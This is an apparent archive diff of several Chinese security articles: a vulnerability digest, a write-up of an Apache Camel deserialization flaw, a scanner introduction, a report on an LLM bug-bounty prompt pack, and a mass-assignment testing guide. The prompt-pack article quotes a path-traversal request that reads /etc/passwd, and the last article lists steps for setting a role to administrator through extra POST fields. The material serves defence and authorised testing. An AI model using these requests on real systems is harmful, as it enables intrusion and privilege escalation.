1. 确认此前签发的访问令牌是否已过期或失效
### 加固建议
1. 保持受影响应用停用直至厂商发布恢复指引
1. 对第三方集成应用实施最小权限并定期轮换凭据
1. 为关键业务另行保留独立于云备份服务的恢复通道
### 参考来源
https://www.connectwise.com/company/trust/advisories
## 风险三：远程支持设备曝消息来源校验缺陷并遭在野利用，攻击者可对设备执行文件操作（CVE-2026-102764）
美国网络安全和基础设施安全局已将 CVE-2026-102764 列入已知被利用漏洞目录，表明该漏洞已遭在野利用。该漏洞位于远程支持产品的内部组件，成因是组件未充分校验所接收消息的来源，在特定条件下可导致攻击者对设备执行文件操作；厂商评级为严重，CVSS 4.0 评分为 9.3、CVSS 3.1 评分为 9.8，漏洞类型为通过伪造绕过认证。远程支持类设备通常为便于外部运维人员接入而直接暴露在互联网上，自身又集中保管通往内网主机的接入通道，一旦文件操作能力被滥用，攻击者可写入或清除设备上的文件，进而干扰服务运行、破坏设备保存的接入凭据，为后续横向访问内网铺路。由于利用该漏洞无需预先通过身份认证，长期在公网开放管理入口、未做来源地址限制的实例风险最高；此类设备一旦失守，攻击者获得的不只是单台设备，而是经由既有运维通道向其托管环境延伸的落脚点。建议运行方先确认设备能否从互联网直接访问，再核查设备文件与配置是否存在非预期变更，并保留访问日志以备回溯。
### 建议排查
1. 确认远程支持设备是否可从互联网直接访问
1. 核查设备文件、配置与账户是否存在非预期变更
1. 检查设备访问日志中的异常来源与异常操作
### 加固建议
1. 将设备管理入口收敛至可信网络或经 VPN 接入
1. 按厂商公告升级至修复版本并更换设备接入凭据
1. 对设备文件完整性与管理操作开启实时监测告警
### 参考来源
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-102764
## 风险四：证券存管机构投资者在线服务应用遭网络攻击，官方称核心结算与登记未受影响
罗马尼亚中央存管机构于 10 月 16 日发布新闻稿，确认其面向投资者的在线服务应用遭到一次网络攻击，在事件发生的同一天即被发现，并立即采取了调查与修复措施。按公告口径，该应用属于主系统之外的辅助组件，用于为有意使用机构在线服务的罗马尼亚自然人投资者创建用户账户；攻击未对存管机构负责的结算与登记等关键及重要服务与职能造成后果，相关业务在正常条件下运行，金融工具持有信息与已结算交易信息均未被访问、修改或篡改。公告同时说明，金融工具持有人仍可通过邮寄、前往机构第二办公点柜台等常规渠道获得此前经由该应用提供的服务，机构已向主管机关通报并与各方合作分析事件，系统监控已予加强，业务运行处于正常状态。证券存管机构处在资本市场登记与结算的中枢位置，其投资者门户虽被界定为辅助系统，却在账户开立环节集中处理自然人身份资料，一旦该环节被触及，攻击者获得的是可用于伪造可信通信的身份要素，后续钓鱼与冒名的成功率会显著上升。官方公告未披露受影响的数据类别、用户数量与入侵途径，也未给出应用恢复上线的时点，运行方与相关方宜按最不利情形先行处置。
### 建议排查
1. 核实与该机构相关的账户是否存在异地或异常登录
1. 排查是否有以该机构名义发来的可信度异常通知
1. 对复用同一口令的其他账户逐一更换密码
### 加固建议
1. 对涉及身份资料的门户启用多因素认证
1. 将辅助系统与核心结算登记系统在网络与权限上隔离
1. 对投资者门户的账户创建与查询接口启用行为审计
### 参考来源
https://www.depozitarulcentral.ro/AppFiles/Default/Comunicatdepresa_DepozitarulCentralataccibernetic.pdf
## 风险五：地理信息平台门户曝未认证接口访问漏洞，攻击者可触达管理员功能（CVE-2026-69227）
地理信息平台的门户组件存在授权缺陷（CVE-2026-69227）：在特定条件下，未通过身份认证的访问者可以触达部分门户管理员接口，从而使用本应要求认证的管理功能。官方评分 9.8，攻击向量为网络可达、复杂度低、无需权限与用户交互，机密性、完整性与可用性影响均为高。门户在同类平台中承担统一入口的角色，负责地图服务的注册与发布、用户与内容管理、权限分配以及外部应用的单点接入；管理员接口一旦失守，攻击者不仅可以读取组织内部的地图与图层清单，还可能创建账户、调整权限或发布内容，把数据资产与对外服务同时置于风险之中。该类平台在政务、自然资源、城市管理与公共事业领域部署较多，门户往往直接面向互联网提供服务，管理端点与业务端点常处于同一域名之下，外部探测因此难以被边界设备区分。鉴于公告以特定条件为前提，运行方应优先复核门户的版本状态与对外暴露情况，核查管理员账户与角色是否存在非本人创建的记录，并对门户接口的异常调用进行追溯。
### 建议排查
1. 核对门户组件版本与厂商公告中的受影响范围
1. 复核管理员账户、角色与权限的变更记录
1. 检查门户接口日志中的未认证访问尝试
### 加固建议
1. 按厂商公告升级门户组件至修复版本
1. 将门户管理入口与对外服务在网络上分离
1. 对管理员接口启用多因素认证并限制来源地址
### 参考来源
https://nvd.nist.gov/vuln/detail/CVE-2026-69227
## 风险六：容器编排持续交付工具授权校验缺失，低权限用户可越界创建资源（CVE-2026-77459）
Kubernetes 持续交付工具 Argo CD 存在授权校验缺失问题（CVE-2026-77459，评分 9.9）：在 2.10.0 至 3.3.15、3.4.10、3.5.4 与 3.6.0-rc2 之前的版本中，该工具创建删除后钩子资源时，没有像常规同步那样应用项目级的目标集群与资源授权检查，被省略的检查包括集群级与命名空间级的允许和拒绝清单。能够向应用所对应代码仓库写入内容的用户，可以提交一个指向被禁止命名空间、集群、资源组或资源名称的删除钩子；当该应用被删除时，控制器会以其目标集群凭据创建该资源。可达影响受控制器自身集群权限限制，但可能包括集群级资源、被禁止的命名空间、长期驻留的钩子对象以及钩子任务派生的次级对象；其余预同步、同步、后同步与失败钩子仍走正常的项目校验。该缺陷把代码仓库的写权限直接换算成集群内的资源创建能力，在多团队共用一套交付平台的场景下尤其值得警惕，建议按团队边界复核仓库权限并把交付控制器的最小权限原则落到实处。
### 建议排查
1. 核对持续交付工具版本是否低于修复版本
1. 梳理可向应用仓库提交内容的用户与令牌清单
1. 检查集群中是否存在来源不明的删除钩子资源
### 加固建议
1. 升级至 3.3.15、3.4.10、3.5.4 或 3.6.0-rc2
1. 收紧代码仓库写权限并启用提交签名校验
1. 按最小权限原则收敛交付控制器的集群权限
### 参考来源
https://nvd.nist.gov/vuln/detail/CVE-2026-77459
**PART.****02**
总体处置建议
‍
‍
‍
## 总结
上述风险集中反映四个层面的问题。一是终端侧信任判定的起点被攻破：Windows Shell 的命令注入缺陷让来自互联网的文件标记失去作用，受保护视图、宏拦截与下载告警随之失去依据，而该漏洞已被实际利用，覆盖面横跨全部 Windows 终端与服务端版本。二是第三方集成与供应商侧凭据正在成为新的失守点：运维软件厂商的云备份应用身份遭冒用，而停用连接这一处置动作本身又让备份与恢复能力同时停摆，影响面从单一厂商沿已授予的信任关系向下游租户蔓延；证券存管机构的投资者在线服务应用被入侵，虽核心结算与登记未受波及，但入口侧的身份资料风险已经形成。三是暴露在互联网上的运维与平台入口持续被盯上：远程支持设备的消息来源校验缺陷已遭在野利用，攻击者可对设备执行文件操作并借既有运维通道向内网延伸；地理信息平台门户在特定条件下可被未认证访问管理员接口。四是软件交付链条上的信任边界被重新划分：持续交付工具的授权校验缺失，使代码仓库的写权限可以直接换算为集群内的资源创建能力。综合来看，补丁覆盖、收敛管理面暴露、把第三方集成的授权与凭据纳入日常治理，是当前投入产出比最高的三项工作。
## 整体风险处置建议
1. 优先完成已遭在野利用漏洞的补丁覆盖
1. 逐层核查第三方集成应用的身份、权限与凭据
1. 复核交付链路与镜像仓库的令牌权限边界
1. 为关键业务保留独立于同一供应商的恢复通道
1. 对管理接口启用多因素认证并保留完整审计
## 合规说明
以上内容基于公开信息整理，仅用于网络安全防护与管理决策参考，具体影响范围与修复方式请以厂商官方公告为准。
![](https://mmbiz.qpic.cn/mmbiz_png/iaPgUxMqaSAhoh0qmQmVFSZR5CZH6zqTtXJAnxcsIYOGT6gdZxjJicvloaqjr7XhADDbc0IfHy7SYHoDKfQR3bwwRZoz58vxD8YkL4E1S6uKA/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_jpg/iaPgUxMqaSAjLgib6qPpqOw0kZlYBRwrY4qLM4trxNBkSLlZECbuuGKGnia3DwZZQC5lGe1z03Dqc22xCwc0UrhAHkJiaLQdKpCz24b18P4B6Ow/640?wx_fmt=jpeg&from=appmsg "")
doc/2026-10/一条PUBLISH打穿Camel：Redis消息反序列化RCE（CVE-2026-78165）.md
+69
View File
@@ -0,0 +1,69 @@
# 一条PUBLISH打穿Camel：Redis消息反序列化RCE（CVE-2026-78165）
原创 赤霄攻防实验室
赤霄攻防实验室 赤霄攻防实验室 2026-10-20 02:09
![封面｜漏洞情报（制图：赤霄攻防实验室）](https://mmbiz.qpic.cn/sz_mmbiz_png/9yNnjAJL8aeG5p9f5lS0CcaNS94KJNSU09Qh3XY8qVHmq2KBctRliaMg1EWPI2J055gC5dOiaNTd3hRrWZCgnDuVbSb1GJ0Bib3ib4wxb8iaavpY/640?wx_fmt=png "")
▲ 封面｜漏洞情报（制图：赤霄攻防实验室）
TL;DR
是什么
：Apache Camel 的 camel-spring-redis 组件在未配置 serializer 时，用无 ObjectInputFilter 的 JDK 反序列化器处理每条 Redis 消息——CWE-502，8.8 分
怎么打
：向 Camel 消费的频道 PUBLISH 恶意序列化字节 → readObject 触发 gadget → Camel 进程内 RCE
影响面
：2.11.0 起全线受影响（10+ 年），修复版 4.18.5 / 4.22.1 / 4.23.0
看点
：消息队列的信任边界——「能往频道里发消息」就是「能在消费者进程里执行代码」
![漏洞档案卡（制图：赤霄攻防实验室）](https://mmbiz.qpic.cn/mmbiz_png/9yNnjAJL8aeqY7Mun5vyWW7CsnA2VTvvR0z8SRs3e2EibOa6fXx3aqsHlJRcFibQzGeMUy7S1vM7r6zkr6ELI1m1iaIDmJHtjicneF37CBYv9G8/640?wx_fmt=png "")
▲ 漏洞档案卡（制图：赤霄攻防实验室）
## 它是什么：企业集成框架的 Redis 消费者
Apache Camel 是企业集成领域的事实标准：数千家企业的 ETL、微服务、数据管道里跑着 Camel 路由。camel-spring-redis 组件让 Camel 路由可以订阅 Redis 频道消费消息——这本该是一个「读消息、路由、处理」的简单流程。
但该组件从 2.11.0 版本引入起就埋了一个致命默认值：未显式配置 serializer 时，它用 JdkSerializationRedisSerializer 处理每一条收到的消息——而 JDK 反序列化如果没有 ObjectInputFilter 白名单，就是 CWE-502 反序列化 RCE 的经典温床。攻击者只需要能向 Camel 消费的频道 PUBLISH 一条恶意序列化字节，readObject 就会在 Camel 进程内执行。
## 攻击链：从 PUBLISH 到 RCE
攻击向量极其简洁：攻击者获取 Redis 访问权（凭据泄露、未授权实例、内网横向），向 Camel 订阅的频道 PUBLISH 一段精心构造的序列化字节。Camel 的消费者收到后，用无过滤的 JDK 反序列化器直接反序列化——readObject 触发 gadget 链，代码执行发生在 Camel 进程内。
安全研究者 oscerd 发布了完整的可运行 PoC reproducer：Docker Compose 一键启动 Redis + Camel 路由 + 攻击者客户端，攻击者 PUBLISH 一个仅翻转 JVM 标志位的良性类（无 gadget、无命令），受影响版本上 readObject 确实执行，修复版本上 ObjectInputFilter 以 REJECTED 拒绝——演示严谨、结论明确。
![攻击链：一条 PUBLISH 到 RCE（制图：赤霄攻防实验室）](https://mmbiz.qpic.cn/mmbiz_png/9yNnjAJL8aeALgTntUbSic8CNq4s5pdjDTnpdZLRxZlnMEhMPunNiaMl3pSTGTcXO2aQia8xwWq9wZ2EfxOILl2SAyLSW0TX1rs3019nKFmZ9c/640?wx_fmt=png "")
▲ 攻击链：一条 PUBLISH 到 RCE（制图：赤霄攻防实验室）
## 影响面与修复：十年老bug，三版本修复
这个缺陷从 camel-spring-redis 组件 2.11.0 引入起就存在——也就是说 2.11.0 到 4.18.5 之前的所有版本都受影响，跨越了 Camel 的多个大版本。修复版为 4.18.5 / 4.22.1 / 4.23.0。Camel Quarkus 用户暂时没有捆绑修复版的发布。
对于已经配置了自定义 serializer 的用户，此 CVE 不直接影响——但 NVD 建议仍添加 ObjectInputFilter 作为纵深防御。升级是最直接的修复路径，同时检查 Redis 的访问控制（密码、内网隔离）是必要的纵深措施。
![处置对照：版本核对与修复（制图：赤霄攻防实验室）](https://mmbiz.qpic.cn/sz_mmbiz_png/9yNnjAJL8ae7J3GS3wWDojE0SvDA0FqM7ibficTwjYXX2iaslZEicfhk9RJtJgeJaFxncWMXAIcPGhTibNMW0bdTFErNKEqRSH9DL5fRCaCG0ia5k/640?wx_fmt=png "")
▲ 处置对照：版本核对与修复（制图：赤霄攻防实验室）
## 防御视角：消息队列的信任边界
这个漏洞给所有使用消息队列的团队敲了警钟：「能往频道里发消息」就等于「能在消费者进程里执行代码」——消息队列的信任边界必须在反序列化层面显式声明。Apache Camel 的新版本默认加了 ObjectInputFilter 白名单（标准 java/javax + org.apache.camel 类型），这正是正确的方向。
同样的模式也适用于 Kafka 的 Java 客户端、RabbitMQ 的 Java 序列化、以及任何使用 JDK 原生反序列化的消息消费者——如果你的消息体是 Java 序列化字节，请确认有 ObjectInputFilter 或改用 JSON/Protobuf 等非执行型格式。
![PoC reproducer 仓库（来源：GitHub oscerd）](https://mmbiz.qpic.cn/mmbiz_png/9yNnjAJL8afJbfUuB5jq257UrXlhVafpQuvQRzdbJAMUTjRohzFfxcIt0R9SP1xHBhLCmFoZVbRLibsXuTJicJAmtzraG0r8BIj1bAYmMST5E/640?wx_fmt=png "")
▲ PoC reproducer 仓库（来源：GitHub oscerd）
## 参考来源
1. NVD：CVE-2026-78165（8.8，CWE-502）
2. Apache Camel 官方安全公告
3. PoC reproducer：https://github.com/oscerd/CVE-2026-78165
4. Apache Camel 4.18.5 / 4.22.1 / 4.23.0 发布公告
免责声明：本文仅用于安全研究与防御交流；漏洞利用请在授权范围内进行。
doc/2026-10/企业内网资产与漏洞的终极克星.md
+117
View File
@@ -0,0 +1,117 @@
# 企业内网资产与漏洞的终极克星
棉花糖糖糖
棉花糖糖糖 棉花糖网络安全工具箱 2026-10-20 02:40
免责声明：本文仅做技术分享，使用者需遵守《网络安全法》，禁止用于未授权测试。
重点导读概述
巡风是一款面向企业内网的漏洞快速应急与巡航扫描系统。该工具通过搜索功能实现对内部网络资产分布情况的清晰呈现，并支持指定漏洞插件对搜索结果进行快速漏洞检测，最终输出结果报表。
重点导读核心引擎
系统主体分为两个核心引擎：
PART 01网络资产识别引擎
该引擎根据用户配置的IP范围定期自动进行端口探测，支持调用MASSCAN实现全端口扫描。指纹识别模块可识别服务类型、组件容器、脚本语言、CMS等关键信息。
PART 02漏洞检测引擎
该引擎支持用户指定任务规则进行定期或一次性漏洞检测，提供两种插件类型：JSON标示符与Python脚本。插件可通过Web控制台进行管理。
重点导读系统架构
nascan/ 网络资产扫描模块
vulscan/ 漏洞检测扫描模块
views/ Web控制台
aider/ 辅助验证模块
重点导读插件体系
巡风采用双轨插件机制：
PART 03JSON标示符
通过关键字匹配方式实现漏洞检测，配置简单高效。
JSON标示符插件示例
PART 04Python脚本
通过编写检测函数实现复杂漏洞识别，灵活度高。插件标准仅需定义get_plugin_info方法描述插件信息，check函数实现漏洞检测逻辑。
重点导读技术栈
组件
技术选型
Web框架
Flask
数据库
MongoDB
扫描工具
MASSCAN
Python版本
2.7
重点导读功能特性
资产发现：自动探测内网IP段，定期巡航扫描
端口扫描：支持自定义端口范围与MASSCAN全端口扫描
指纹识别：识别服务、组件、语言、CMS
漏洞检测：多插件类型支持，批量快速检测
报表导出：支持Excel格式结果导出
计划任务：支持周期性自动扫描任务
统计看板：可视化展示扫描数据与趋势
重点导读数据库设计
MongoDB存储以下核心数据：
Info：网络资产信息
Task：扫描任务
Result：漏洞结果
Plugin：插件库
Config：系统配置
重点导读部署方式
系统支持多种部署方式：
Windows
Linux
macOS
Docker
重点导读插件编写示例
Python插件核心结构：
pythondef get_plugin_info():
return {
"name": "插件名称",
"info": "漏洞描述",
"level": "高危",
"type": "漏洞类型",
"author": "作者",
"keyword": "搜索关键字"
}
def check(ip, port, timeout):
# 检测逻辑
pass
重点导读辅助验证
系统内置辅助验证功能，支持DNS与HTTP两种验证模式，适用于反弹验证场景。
本文介绍的项目开源地址如下：
https://github.com/ysrc/xunfeng
本公众号非项目作者，仅做技术分享。
## 广告时间
低价考证包括但不限于CISP系列、PMP等等国内网安证书、网络安全交流群请关注公众号后点菜单栏的找棉花糖。
糖心会员站，网络安全必备网站，包括在线内网靶场、web靶场、src靶场、应急响应靶场，以及各种网安资料、教程、方案模版、以及超级多在线工具，99元包年！详细介绍：棉花糖会员站介绍(26年4月26日版本) ：在线内网靶场、网安资料方案、在线工具全能资源站，看完介绍百分百心动！
doc/2026-10/公开漏洞狩猎提示词包14 阶段 recon 到自去重,deepseek MVP,MIT 可下载.md
+140
View File
@@ -0,0 +1,140 @@
# 公开漏洞狩猎提示词包:14 阶段 recon 到自去重,deepseek MVP,MIT 可下载
原创 Violet Walker
Violet Walker 黑白之道 2026-10-20 01:08
![](https://mmbiz.qpic.cn/mmbiz_png/nGzNudUIJ6N6fqqPt6JTTaaX6XaUGUaXu8QibcTquUBdn0eWic7AiaVTib47hBAFPgHU7BrCN50bjsVeCIPFnpia8TwiaL7jQj1L5yuJIOcMxibhOE/640?from=appmsg "")
> **导语**
:漏洞猎人 mdp_sec 公开 14 阶段私有狩猎工作流提示词包,从 recon 到自去重全覆盖,deepseek 作 MVP 模型,MIT 协议可下载。
## 一、推文与仓库事件
10 月中旬,Marius du Preez(@mdp_sec)在 X 上发了一条面向所有私信的统一回复:
- 翻他之前的推文(自动化狩猎要的东西都在里头);
- 卡住了请直接问具体问题;
- MVP 模型用 deepseek;
- 新人 starter workflow 给到 mdpsec/bug-bounty-hunting-prompts
。
同一条推文还配了两张图:一张是他自己的赏金平台 dashboard,页面顶部显眼的 **"payments paused"**
 标签,下方列出 $1,012,925 / $882,125 / $0 / $130,800
 等历史结算金额——这是他愿意把工作流开源出来的现实背景;另一张是 Burp Suite 的实拍请求/响应,左侧是 GET //////////////////../../../../../../etc/passwd
,右侧响应里 root:x:0:0:root:/root:/bin/bash
 等行直接读出——证明这套工作流在真实目标上拿下过路径穿越类漏洞。
![推文配图 1:mdp_sec 自己的赏金 dashboard,payments paused 与历史结算金额](https://mmbiz.qpic.cn/sz_mmbiz_png/nGzNudUIJ6OCVe2ZjzSdDjFEWjsla3kr6aibEympOrR6bf3jAyEHNlKxK1icicLkFIFLSThXTiaicQ8TibtgnGypBBzvCOUTGXnNgqdtBpGL47rBc/640?from=appmsg "推文配图 1:mdp_sec 自己的赏金 dashboard,payments paused 与历史结算金额")
回复里另外有一条被同好 @SteelyDu 追问 "GLM 5.3 怎么样",他只回了 https://blackboxarena.ai
 一个链接——这是个给模型做攻防对抗测评的网站,他自己对 GLM 5.3 的评价言简意赅:"自己去跑。"
## 二、仓库与下载方式
mdpsec/bug-bounty-hunting-prompts
 仓库的元数据:
- **作者**
:mdpsec(Marius du Preez)
- **协议**
:MIT
- **首发**
:2026-09-30,最后一次 push 2026-10-03
- **规模**
:182 KB,12 个 repo topics(bug-bounty、llm-prompts、penetration-testing、web-security、responsible-disclosure 等)
- **热度**
:636 Star / 131 Fork
- **下载**
:GitHub 主分支(无 release tarball,直接 git clone
 即可)
下载命令:
```
git clone https://github.com/mdpsec/bug-bounty-hunting-prompts.git
```
需要强调的是:仓库里**只有提示词文件**
,不是可以直接跑起来的应用。README 写得很直白——"这些提示词文件不是应用也不是调度引擎",并附 ADAPTATION.md
 列出所有 YOUR_*
 占位符的替换说明,例如 $YOUR_WORKSPACE_ROOT
、$YOUR_HELPERS_ROOT
、$YOUR_MITM_HOST
 等。私有 helper、浏览器舰队、代理、邮件服务、dashboard、PoC 运行时、凭证、参考语料都**不包含**
,用户必须用自己的环境去适配。
## 三、14 阶段提示词序列
仓库的 14 个阶段文件全部在 phases/
 目录下,按漏洞狩猎的实际顺序排列:
<table><thead><tr><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">阶段</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">文件</span></section></th><th style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;font-weight: bold;background-color: rgb(255, 249, 249);color: rgb(239, 112, 96);"><section><span leaf="">用途</span></section></th></tr></thead><tbody><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">0</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-00-recon.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">轻量目标表面积绘制</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">1</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-01-access.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">账号准备与认证访问</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">2</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-02-sweep.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">端点与漏洞类别的广扫</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">3</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-03-closeout.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">校验 sweep 交接并释放资源</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">4a</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-04a-scope.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">仅范围上下文</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">4b</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-04b-browser-walk.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">认证态浏览器巡查</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">5a</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf="">phase-05a-scope.md</span></code></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">关键狩猎前的范围上下文</span></section></td></tr><tr><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><section><span leaf="">5b</span></section></td><td style="font-size: 0.75em;padding: 9px 12px;line-height: 22px;border: 1px solid rgb(239, 112, 96);vertical-align: top;"><code><span leaf=Line truncated
最值得仔细读的细节有三点:
1. **阶段 8a 是"独立验证"环节**
:README 把它称作 independent-escalation
——和阶段 8 的验证不是同一组上下文,目的是防止模型把"已验证漏洞"自我强化;
1. **阶段 10 是 self-duplicate-check**
:在最后一道闸上把同一项目内早前可能报过的相似发现收敛掉,避免重复打扰平台;
1. **4b 是可选**
:README 明确说"浏览器巡查阶段作为可选的浏览器专项阶段保留",不需要浏览器 fleet 的项目可以整段跳过。
公开版本里**不包含**
重复的"第二轮关键分支"和"第二轮独立升级分支",这部分逻辑被有意保留在私有版本中。
![mdp_sec 推文配图 2:Burp Suite 实拍路径穿越 PoC,响应中直接读出 /etc/passwd 内容](https://mmbiz.qpic.cn/sz_mmbiz_png/nGzNudUIJ6NtfeBUKHZGvsCjdDfO9ettHFzqvguUZuoyRzX7m3BmeIKvJiaSfJGJHoc5jCsJxf0sIuf9yvSNbOoRy54NTYpqpanQ8TlyaZKY/640?from=appmsg "mdp_sec 推文配图 2:Burp Suite 实拍路径穿越 PoC,响应中直接读出 /etc/passwd 内容")
## 四、典型用法与模型选择
mdp_sec 在回复里给的"入门三步"实际上对应这套提示词的标准用法:
1. **挑阶段**
:从 README 表里挑与目标工作流匹配的阶段;
1. **替换变量**
:把 ADAPTATION.md
 列出的 $YOUR_*
 与 {{...}}
 替换为环境里的真实值;
1. **逐阶段喂给模型**
:一次只喂一个阶段,保留模型要求的 handoff 工件(报告、证据、原始抓包)。
MVP 模型选择上他直接点名 **deepseek**
,从回复语境看,这是他私信里对"我该用哪个模型"问题的一贯答案——可能与成本/中文支持/工具调用稳定性有关,但他没有展开说,推文评论区对 GLM 5.3 的追问他也没直接评价,只丢了个 https://blackboxarena.ai
 让提问者自己跑测试。
## 五、安全与披露
SECURITY.md
 写得很短,核心要求是"只对授权目标使用提示词,不要自动批量提交、不要采集用户数据、不要留下持久状态变更"。ADAPTATION.md
 也再次提醒——不要把凭证、Cookie、Token、API Key 或私有基础设施细节粘进任何提示词文件。仓库不提供集成支持,README 明确写"我们不会重现私有环境或回答个别实施问题"。
## 六、上手路径建议
对于第一次接触这类"提示词流水线"的读者,推荐路径是:
- 先读 README + ADAPTATION.md
,把占位符全部映射到自己的环境;
- 从阶段 0(recon)和阶段 2(sweep)开始跑,因为它们不需要认证态,门槛最低;
- 跑通两个阶段后,再去读阶段 6、7、9、10 这一串"分诊/验证/去重"逻辑,这是整套提示词和普通 prompt 包差异最大的部分——也是 mdp_sec 私有方法论里**真正公开出来的部分**
;
- 把它当作"参考蓝图",而不是"开箱即用的工具"。README 自己写得很清楚:这是一份 reference prompt pack,会随不同代理、工具和项目规则而调整。
仓库:https://github.com/mdpsec/bug-bounty-hunting-prompts
(MIT,636 Star) 下载命令:git clone https://github.com/mdpsec/bug-bounty-hunting-prompts.git
 作者推特:@mdp_sec
**版权声明**
:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。
![](https://mmbiz.qpic.cn/mmbiz_jpg/nGzNudUIJ6NvudVQffHc38pWvM4EpiaoyWD5DDy2FiazhE0Z9uEMp3CgPc2ZozSRtiaIwBWSV4AwjZuw7oDyjOVxUQWUYbkluOTicsXbtdBHuJ4/640?from=appmsg "")
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621549&idx=1&sn=21c4b072726d2387d562109ada6b9bbb&scene=21#wechat_redirect)
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650621944&idx=1&sn=3cc6dc9876a20466d4ec3634deb80220&scene=21#wechat_redirect)
[](https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650622065&idx=1&sn=09f8ae84c06d4331e71c277b177ae701&scene=21#wechat_redirect)
> 👇 点击**阅读原文**
，访问我的网站
doc/2026-10/参数绑定漏洞.md
+43
View File
@@ -0,0 +1,43 @@
# 参数绑定漏洞
原创 游山玩水
游山玩水 山水SRC 2026-10-20 00:57
## 免责声明
**本公众号分享的所有渗透测试技术文章仅面向合法授权的安全测试、学习交流与研究用途。读者必须确保自身行为符合《网络安全法》等相关法律法规，严禁将其用于任何未授权攻击等非法活动。因不当使用或传播相关内容所引发的任何法律责任与风险，由行为人自行承担，本公众号（或本人）概不负责**
## 前提
**技术性描述**
① 应用存在一个POST接口（如修改个人信息、申请加入等），且该接口的响应中会返回当前对象的多项属性或字段名称。
② 后端使用自动绑定机制，直接将请求参数映射到数据模型或实体对象属性，且未设置允许绑定的字段白名单，也未过滤敏感字段。
③ 攻击者通过抓取响应包获取字段名，并在POST请求中附加这些额外字段名及任意值，若后端未校验字段是否为当前用户可修改范围，则会被一并绑定并写入数据库。
**通俗易懂**
① 网站有一个表单提交功能，比如填个人资料或申请加入，服务器返回时会把很多内部字段名一起带出来。
② 攻击者把这些内部字段名加进自己的提交请求里，多塞几个字段，比如“身份”“余额”“管理员开关”。
③ 如果服务器偷懒，只按字段名自动存数据，不检查哪些能改，攻击者就能把敏感字段也一起改掉。
## 测试流程
1. 抓取目标POST请求（如修改个人信息），记录响应包中返回的全部参数名，例如邮箱、头像、角色、状态、管理员标记等。
1. 在原始POST请求中，额外添加这些敏感字段及测试值，如角色设为管理员、状态设为已审核、余额设为100000。
1. 发送修改后的请求，观察响应中这些字段是否被接受或返回值发生变化。
1. 通过查询个人信息接口或尝试访问对应敏感功能，确认被修改的字段是否已生效。
1. 若普通用户能成功修改本无权访问的字段，即确认批量赋值漏洞存在。
## 危害
1. 攻击者可修改权限字段（如角色、管理员状态），实现垂直越权，获取管理员权限。
1. 可篡改账户余额、订单金额、积分等业务数据，造成直接资金损失或交易欺诈。
